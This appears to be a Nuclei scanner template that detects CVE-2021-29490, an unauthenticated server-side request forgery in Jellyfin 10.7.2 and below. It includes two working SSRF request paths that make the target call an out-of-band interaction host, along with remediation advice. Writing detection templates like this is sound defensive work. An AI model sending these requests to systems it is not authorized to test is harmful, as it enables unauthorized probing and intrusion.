id: CVE-2021-29490

info:
  name: Jellyfin 10.7.2 SSRF
  author: alph4byt3
  severity: medium
  description: Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2021-29490
    cwe-id: CWE-918
  remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
  tags: cve,cve2021,ssrf,jellyfin

requests:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=http://{{interactsh-url}}"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=http://{{interactsh-url}}&ProviderName=TheMovieDB"

    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

# Enhanced by cs on 2022/02/25